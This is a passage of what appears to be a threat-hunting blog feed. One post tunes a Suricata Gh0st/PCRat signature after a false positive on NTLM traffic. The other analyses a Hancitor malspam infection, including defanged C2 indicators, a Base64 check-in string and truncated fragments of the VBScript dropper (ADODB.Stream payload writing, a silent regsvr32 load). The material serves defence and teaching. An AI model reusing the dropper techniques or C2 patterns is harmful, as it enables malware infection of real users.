&lt;p&gt;After seeing the hit on the Suricata dashboard, I applied it as a filter by clicking on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;+&lt;/code&gt; and then saw that we were looking at 8 source IPs. That was instantly more interesting in that it wasn’t the whole network hitting this signature. Also of note was that it was port &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;135&lt;/code&gt; (which became helpful later).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/4-30-20-3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In digging in a bit more, I hopped over to Discover to see what was happening around the alert. There was NTLM authentication, the alert, and then DCE_RPC traffic. I focused on a single IP to start and then looked at the other 8 to see if the traffic was the same, and it was.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/4-30-20-4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So, next I wanted to check the Suricata rule to see what exactly what happening. Expanding the event in Kibana showed me that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rule.id&lt;/code&gt; field was &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2016922&lt;/code&gt;. So let’s look at that rule on the sensor to see what’s going on.&lt;/p&gt;

&lt;p&gt;With &lt;a href=&quot;https://twitter.com/dcode&quot;&gt;dcode&lt;/a&gt;’s help, we can see that it’s looking for the content &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;78 9c&lt;/code&gt; (among other things).&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;grep 2016922 /var/lib/suricata/rules/suricata.rules

alert tcp $HOME_NET !80 -&amp;gt; $EXTERNAL_NET [!5721,!5938] (msg:&quot;ET TROJAN Backdoor family PCRat/Gh0st CnC traffic&quot;; flow:to_server,established; dsize:&amp;gt;11; content:&quot;|78 9c|&quot;; offset:8; byte_jump:4,-10,relative,little,from_beginning,post_offset -1; isdataat:!2,relative; content:!&quot;PWHDR&quot;; depth:5; metadata: former_category MALWARE; reference:url,www.securelist.com/en/descriptions/10155706/Trojan-GameThief.Win32.Magania.eogz; reference:url,www.microsoft.com/security/portal/Threat/Encyclopedia/Entry.aspx?Name=Backdoor%3AWin32%2FPcClient.ZR&amp;amp;ThreatID=-2147325231; reference:url,labs.alienvault.com/labs/index.php/2012/new-macontrol-variant-targeting-uyghur-users-the-windows-version-using-gh0st-rat/; reference:url,www.infowar-monitor.net/2009/09/tracking-ghostnet-investigating-a-cyber-espionage-network/; reference:url,blogs.rsa.com/will-gragido/lions-at-the-watering-hole-the-voho-affair/; reference:url,www.norman.com/about_norman/press_center/news_archive/2012/the_many_faces_of_gh0st_rat/en; classtype:trojan-activity; sid:2016922; rev:14; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, deployment Perimeter, tag PCRAT, tag Gh0st, tag RAT, signature_severity Critical, created_at 2013_04_23, malware_family Gh0st, malware_family PCRAT, updated_at 2019_08_06;)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Okay, now we know what the signature is looking for, lets see what caused it to trip by carving the PCAP with Docket (the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Query PCAP&lt;/code&gt; field in ROCK) and analyzing it in Wireshark.&lt;/p&gt;

&lt;p&gt;Searching for the content we identified in the rule (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;78 9c&lt;/code&gt;) we can now see what’s causing the hit. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;789c&lt;/code&gt; is in the New Technology Local Area Network Manager Security Support Provider (NTLMSSP) Verifier Body! NTLM is a suite of protocols used by Microsoft to provide authentication. It looks like the NTLMSSSP Verifier Body, which is a sequence of bytes, is causing the hit when &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;789c&lt;/code&gt; shows up.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/4-30-20-5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Phew…a false positive. Now what? Let’s make some changes to the Suricata rule so we’re not seeing it for NTLM.&lt;/p&gt;

&lt;p&gt;We can make the change by creating a file called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;modify.conf&lt;/code&gt; in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/suricata&lt;/code&gt; directory on ROCK. This will ensure that the changes persist through rule updates using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;suricata-update&lt;/code&gt;. The modify file works by defining the rule ID (sid), what it is currently and then what you want to change it to.&lt;/p&gt;

&lt;p&gt;So the ports for the rule already state &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!5721,!5938&lt;/code&gt;, so let’s change it to also exclude port &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;135&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo vi /etc/suricata/modify.conf

# Add the following
# Changing ET TROJAN Backdoor family PCRat/Gh0st CnC traffic to not flag on NTLMSSP Verifier Body content
2016922 &quot;!5721,!5938&quot; &quot;!5721,!5938,!135&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Let’s apply the new rules with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;suricata-update&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo -u suricata -g suricata suricata-update
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Next we can check to make sure that the rule worked with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;grep 2016922 /var/lib/suricata/rules/suricata.rules&lt;/code&gt; and we should see &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!135&lt;/code&gt; added (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$EXTERNAL_NET [!5721,!5938,!135]&lt;/code&gt;).&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;alert tcp $HOME_NET !80 -&amp;gt; $EXTERNAL_NET [!5721,!5938,!135] (msg:&quot;ET TROJAN Backdoor family PCRat/Gh0st CnC traffic&quot;; flow:to_server,established; dsize:&amp;gt;11; content:&quot;|78 9c|&quot;; offset:8; byte_jump:4,-10,relative,little,from_beginning,post_offset -1; isdataat:!2,relative; content:!&quot;PWHDR&quot;; depth:5; metadata: former_category MALWARE; reference:url,www.securelist.com/en/descriptions/10155706/Trojan-GameThief.Win32.Magania.eogz; reference:url,www.microsoft.com/security/portal/Threat/Encyclopedia/Entry.aspx?Name=Backdoor%3AWin32%2FPcClient.ZR&amp;amp;ThreatID=-2147325231; reference:url,labs.alienvault.com/labs/index.php/2012/new-macontrol-variant-targeting-uyghur-users-the-windows-version-using-gh0st-rat/; reference:url,www.infowar-monitor.net/2009/09/tracking-ghostnet-investigating-a-cyber-espionage-network/; reference:url,blogs.rsa.com/will-gragido/lions-at-the-watering-hole-the-voho-affair/; reference:url,www.norman.com/about_norman/press_center/news_archive/2012/the_many_faces_of_gh0st_rat/en; classtype:trojan-activity; sid:2016922; rev:14; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, deployment Perimeter, tag PCRAT, tag Gh0st, tag RAT, signature_severity Critical, created_at 2013_04_23, malware_family Gh0st, malware_family PCRAT, updated_at 2019_08_06;)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Send Suricata a SIGHUP (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo systemctl kill -sHUP suricata.service&lt;/code&gt;) to pick up the new rules and you’re golden.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/hulk-rule-tuning.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</description>
                <pubDate>Thu, 30 Apr 2020 00:00:00 +0000</pubDate>
                <link>https://huntops.blue/2020/04/30/suricata-tuning.html</link>
                <guid isPermaLink="true">https://huntops.blue/2020/04/30/suricata-tuning.html</guid>
                
                <category>feed</category>
                
                
            </item>
        
            <item>
                <title>3/20/2020 - Hancitor w/Coronavirus Themed Malspam</title>
                <author>Andrew D. Pease</author>
                <description>&lt;h1 id=&quot;3202020---hancitor-infection-wcoronavirus-themed-malspam&quot;&gt;3/20/2020 - Hancitor Infection w/Coronavirus Themed Malspam&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://malware-traffic-analysis.net/2020/03/11/index.html&quot;&gt;Packets&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/huntops-blue/huntops-blue.github.io/blob/master/rock-install.md#getting-data-into-rock&quot;&gt;Getting Data into ROCK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cyber.nj.gov/threat-profiles/trojan-variants/hancitor&quot;&gt;Hancitor Downloader background (AKA Chanitor)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Unless you’ve been living under a rock, you’re aware of the global COVID-19 pandemic, also known as Coronavirus…actually…even if you’re under a rock, you’re still likely aware. Adversaries commonly capitalize on these type of events for their malspam lures, &lt;a href=&quot;https://krebsonsecurity.com/2020/03/live-coronavirus-map-used-to-spread-malware/&quot;&gt;COVID is no different&lt;/a&gt;. If the bad guys are using this, as defenders, we need to be prepared. In this situation, malspam is used to distribute the Hancitor (Chanitor) downloader. @mesa_matt reported this wave of COVID malspam &lt;a href=&quot;https://twitter.com/mesa_matt/status/1237808758669094913&quot;&gt;here&lt;/a&gt; and then by &lt;a href=&quot;https://isc.sans.edu/forums/diary/Hancitor+distributed+through+coronavirusthemed+malspam/25892/&quot;&gt;SANS&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/3-20-20-13.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We’ll start over on the Suricata dashboard to see if anything look suspicious, and as per normal, we have a hint of where to start with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ET MALWARE Fareit/Pony Downloader Checkin 2&lt;/code&gt; alert. As we commonly see with these infections, adversaries frequently do an external IP lookup to see where they are and/or to validate they’ve infected the right victim (for targeted intrusions); that said, remember that an external IP lookup, while interesting, isn’t a smoking gun - so we’ll put that in the “interesting” vs. the “evidence” pile.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/3-20-20-1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Filtering on the Pony Downloader alert, we can see that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;10.3.11.101&lt;/code&gt; looks like the internal host as well as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;45[.]153[.]73[.]33&lt;/code&gt; as the, we’ll call it C2 because the alert calls it &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Downloader Checkin 2&lt;/code&gt;, external host of interest. Of note, this connection is over port &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;80&lt;/code&gt;, so we should have good metadata to dig through. We’ll also use the HTTP dashboard to see what it can tell us.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/3-20-20-2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Before we move away from the Suricata dashboard, the alert is called Pony, which is part of the process that Hanciator uses to burrow into an infected system - usually Pony is delivered via a macro-enabled document, with a VBScript, that acts as an installer to download Pony and then Hancitor &lt;a href=&quot;https://www.reddit.com/r/blackhat/comments/5oee1h/what_is_a_pony_downloader/&quot;&gt;1&lt;/a&gt;, &lt;a href=&quot;https://www.proofpoint.com/us/threat-insight/post/hancitor-ruckguv-reappear&quot;&gt;2&lt;/a&gt;, &lt;a href=&quot;https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html&quot;&gt;3&lt;/a&gt;. Using that OSINT, we know that we’re probably looking for a VB macro, which likely means an Office document.&lt;/p&gt;

&lt;p&gt;Okay, lets pop on over to ROCK’s HTTP dashboard and see what we can learn about &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;45[.]153[.]73[.]33&lt;/code&gt;. Here when we apply the filter for our bad IP address, we can see the HOST (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;thumbeks[.]com&lt;/code&gt;) and the URI’s…all PHP files (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/4/forum[.]php&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/d2/about[.]php&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mlu/forum[.]php&lt;/code&gt;). &lt;a href=&quot;https://www.php.net/&quot;&gt;PHP&lt;/a&gt; is a web-centric scripting language that is perfect for all kinds of useful applications…and malware.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/3-20-20-3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Applying different filters to this dashboard shows that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;10.3.11.101&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;45[.]153[.]73[.]33&lt;/code&gt; are the only two systems talking back and forth with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;thumbeks[.]com&lt;/code&gt;, so lets look in the Discover app to learn a bit more.&lt;/p&gt;

&lt;p&gt;I’ve searched for the host that we’re interested in and applied the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http&lt;/code&gt; dataset filter. Of note, I’ve added fields that I’m most interested in source IP, URL, etc. but I’ve also added the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Query PCAP&lt;/code&gt; field so that I can use that to quickly carve the packets using Docket and Stenographer, both built into RockNSM. This traffic is over port 80 and likely unencrypted, so we should be able to get some good data from it. Finally, we’ll know more when we look at the HTTP headers, but the HTTP Method is a POST, so this is likely data exfil or a checkin of some type.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/3-20-20-4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I’ll carve the PCAPs for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/4/forum[.]php&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/d2/about[.]php&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mlu/forum[.]php&lt;/code&gt; to analyze them.&lt;/p&gt;

&lt;p&gt;With the first &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/4/forum[.]php&lt;/code&gt;, we can see that this is uploading a GUID and build number of the implant along with the hostname (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[redacted]-WIN10&lt;/code&gt;), the userID (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[redacted]-WIN10\[username]&lt;/code&gt;) and the host IP address (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IP=[redacted]&lt;/code&gt;) along with a Base64 encoded string&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;NMNMARZAEg4OCkBVVQkSFQpUGwgOGxwcExQTDg4fH1QZFRdVDQpXExQZFg8eHwlVCRUeEw8XJRkVFwo
bDlVLBhIODgpAVVUYHw4bVBsIDhscHBMUEw4OHx9UGRUXVQ0KVxMUGRYPHh8JVRwVFA4JVUsGEg4OCg
lAVVUJEwkJVBkVVBMUVUsGEg4OCkBVVRcTGQgVGBYbHhMUHREPFg8YD1QZFRdVSwYSDg4KQFVVCQ4VG
REXGwgRHw4IHwwVFg8OExUUVBkVF1VLBwEYQBIODgpAVVUJEhUKVBsIDhscHBMUEw4OHx9UGRUXVQ0K
VxMUGRYPHh8JVQkVHhMPFyUZFRcKGw5VSAYSDg4KQFVVGB8OG1QbCA4bHBwTFBMODh8fVBkVF1UNClc
TFBkWDx4fCVUcFRQOCVVIBhIODgoJQFVVCRMJCVQZFVQTFFVIBhIODgpAVVUXExkIFRgWGx4TFB0RDx
YPGA9UGRUXVUgGEg4OCkBVVQkOFRkRFxsIER8OCB8MFRYPDhMVFFQZFRdVSAc=
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This is followed by posting binary files from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/d2/about[.]php&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mlu/forum[.]php&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/3-20-20-5.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;/images/3-20-20-6.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;/images/3-20-20-7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After the initial &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/4/forum[.]php&lt;/code&gt; + &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/d2/about[.]php&lt;/code&gt; + &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mlu/forum[.]php&lt;/code&gt;, there are 3 more POSTs to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/4/forum[.]php&lt;/code&gt; which have 2 different Base64 encoded strings (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMNXARRABw==&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AZAZARRABw==&lt;/code&gt;). In checking online for those strings, there was 1 link to &lt;a href=&quot;https://www.hybrid-analysis.com/sample/fdbc89d95c002985f71ef3a8471bded05e71559874f36dd12186def8eef73e81?environmentId=100&quot;&gt;Hybrid-Analysis&lt;/a&gt; for a Hancitor analysis from 2018 (we knew this was Hancitor already, but this is the first evidence pointing us that direction).&lt;/p&gt;

&lt;p&gt;Now that we have a good hit regarding &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;thumbeks[.]com&lt;/code&gt;, let’s remove &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;thumbeks[.]com&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/4/forum[.]php&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/d2/about[.]php&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mlu/forum[.]php&lt;/code&gt; and move onto other suspicious traffic.&lt;/p&gt;

&lt;p&gt;When looking at the remaining traffic, it became pretty obvious that there was more than I could just sift through in the Discover app and honestly say I found bad traffic. So, let’s profile the DNS traffic, use a data table visualization, and remove the IP lookup API (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;api.ipify.org&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;thumbeks[.]com&lt;/code&gt;…ah, 2 entries and we now have 4 additional indicators to research to see if they are bad (2 hosts, 2 IPs)&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/3-20-20-8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Lets start with the hosts (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;freetospeak[.]me&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shop[.]artaffinittee[.]com&lt;/code&gt;) and see what else we know about them. Looking at the DNS, domains, and files, we can see that there is a file located at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;freetospeak[.]me/0843_43[.]php&lt;/code&gt;, but the filename is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SE-670131329809_5500[.]zip&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/3-20-20-9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Before we move further into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;freetospeak[.]me&lt;/code&gt;, let’s look at that IP address (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;8[.]208[.]77[.]171&lt;/code&gt;) and see if anyone else communicated with that IP and no one did. This is the proper process for analysis, but sometimes there’s not any additional data.&lt;/p&gt;

&lt;p&gt;Moving on, we’ll grab the packets to see what’s there, but in doing a quick Google search for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0843_43.php&lt;/code&gt; I can see that &lt;a href=&quot;https://urlhaus.abuse.ch/url/323970/&quot;&gt;Abuse.ch&lt;/a&gt; has listed some of the payloads that are delivered from this URI and they follow what we’ve observed - two capital letters, a dash, 12 numbers, an underscore, 4 numbers, and a zip file extension. We’ll have a regex search in the Detection Logic section, but lets check out the packets.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/3-20-20-10.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Lets use the Export HTTP Object of Wireshark to grab that file so we can do some additional analysis. Running the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file&lt;/code&gt; command, we see that this isn’t a PHP file, but a zip archive (we assumed that based on the file.name field in ROCK, but that’s why we check).&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/usr/bin/file 0843_43.php
0843_43.php: Zip archive data, at least v2.0 to extract
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Great, let’s grab some metadata about the file with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exiftool&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/usr/local/bin/exiftool 0843_43.php
ExifTool Version Number         : 11.85
File Name                       : 0843_43.php
Directory                       : .
File Size                       : 225 kB
File Modification Date/Time     : 2020:03:16 16:04:34-05:00
File Access Date/Time           : 2020:03:16 16:04:48-05:00
File Inode Change Date/Time     : 2020:03:16 16:04:53-05:00
File Permissions                : rw-r--r--
File Type                       : ZIP
File Type Extension             : zip
MIME Type                       : application/zip
Zip Required Version            : 20
Zip Bit Flag                    : 0
Zip Compression                 : Deflated
Zip Modify Date                 : 2020:03:10 19:22:42
Zip CRC                         : 0x8780657b
Zip Compressed Size             : 230297
Zip Uncompressed Size           : 1130515
Zip File Name                   : SE670131329809.vbs
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;We can see that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Zip File Name&lt;/code&gt; contains &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SE670131329809.vbs&lt;/code&gt;. Interesting! Let’s list the contents of the zip file and see if there’s anything else interesting in there.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/usr/bin/unzip -l 0843_43.php
Archive:  0843_43.php
  Length      Date    Time    Name
---------  ---------- -----   ----
  1130515  03-10-2020 19:22   SE670131329809.vbs
---------                     -------
  1130515                     1 file
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;We can see that the archive was created on March 10, 2020 and that there is one file in there (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SE670131329809.vbs&lt;/code&gt;). Let’s unzip and poke around on the file.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/usr/bin/unzip -K 0843_43.php
Archive:  0843_43.php
  inflating: SE670131329809.vbs
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Now, let’s grab the hash of this script and see if anyone else has already done the hard work.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/sbin/md5 SE670131329809.vbs
MD5 (SE670131329809.vbs) = 8eb933c84e7777c7b623f19489a59a2a
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;As it would turn out, it looks like someone has already submitted this to &lt;a href=&quot;https://www.virustotal.com/gui/file/6897a3b85046ba97fb3868dfb82338e5ed098136720a6cf73625e784fc1e1e51/detection&quot;&gt;VirusTotal&lt;/a&gt; and its got a 20/59 score, so this looks like a good hit! As we continue to look at the &lt;a href=&quot;https://www.virustotal.com/gui/file/6897a3b85046ba97fb3868dfb82338e5ed098136720a6cf73625e784fc1e1e51/behavior/Lastline&quot;&gt;behavior&lt;/a&gt; of this file, it looks like it’s responsible for our connections to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;thumbeks[.]com&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;api[.]ipify[.]org&lt;/code&gt; (this is great because now we have a real reason to look at IPIFY, whereas before it was just suspicious, but now we can connect it to malware, so we can dig into that more), and a new domain (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cludions[.]com&lt;/code&gt; - but we don’t have any traffic to that domain in our sample). Of note, VT has some neat node analysis of this sample &lt;a href=&quot;https://www.virustotal.com/graph/6897a3b85046ba97fb3868dfb82338e5ed098136720a6cf73625e784fc1e1e51&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Now that we’ve got a solid line between IPIFY and our infected host, so let’s see who communicated with that external service. It doesn’t look like anyone beyond our known infected host did, but this is an example of connecting something suspicious to known bad. We don’t do figurative hand-waving here, so it was good to make that association.&lt;/p&gt;

&lt;p&gt;Before we move on, let’s take a look at the VBScript. I’ll caveat it with the fact that we’ll just going to look and see if there’s anything of value here vs. trying to RE it.&lt;/p&gt;

&lt;p&gt;First off, looking at the metadata, it appears that it was also created on 3/10 (same as the time that it was added to the zip archive it was stored in). It’s unclear if this was an automated process, indicating this is a process to create mass volumes of files for multple campaigns…but based on what was observed &lt;a href=&quot;https://urlhaus.abuse.ch/url/323970/&quot;&gt;online&lt;/a&gt;, this is likely auto-created and archived.&lt;/p&gt;

&lt;p&gt;It contains a bunch of numbers+&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;l&lt;/code&gt; at the beginning and end of the script. I have an assumption that this is some sort of binary that is fed into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Dim GtYbDTHjR: Set GtYbDTHjR=CreateObject(&quot;Scripting.FileSystemObject&quot;): Dim etEWDmZOL: Set etEWDmZOL=CreateObject(&quot;ADODB.Stream&quot;)&lt;/code&gt; to create either Pony or Hancitor, and then registered as a DLL with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.Create &quot;regsvr32.exe -s &quot;+CStr(WScript.CreateObject(&quot;Scripting.FileSystemObject&quot;).GetSpecialFolder(Cint(&quot;2&quot;))+&quot;\&quot;)+&quot;adobe.txt&quot;,,,processid&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;'3l70l69l69l79l69l69l69l259l70l69l69l69l69l69l69l69l69l69l69l69l69l69l133l69l69
l133l115l169l166l185l166l69l69l69l113l75l71l69l69l309l70l69l69l75l71l69l69l269l
70l69l69l69l69l69l69l69l69l69l69l69l69l69l133l69l69l261l115l183l184l183l168l69l
69l69l169l77l69l69l69l69l73l69l69l79l69l69l69l275l72l69l69l69l69l69l69l69l69l69
l69l69l69l69l133l69l69l133l115l183l170l177l180l168l69l69l289l75l69l69l69l85l...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;There’s also a huge variable defined with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Split&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;SsfkRq=Split(&quot;108,121,175,31,34,31,31,31,35,31...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Beyond the basics of what a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Split&lt;/code&gt; is, I’m not sure what that is doing. It is referenced below with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.WriteText YZyNjfA(SsfkRq)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Stripping all that out, we’re left with:&lt;/p&gt;
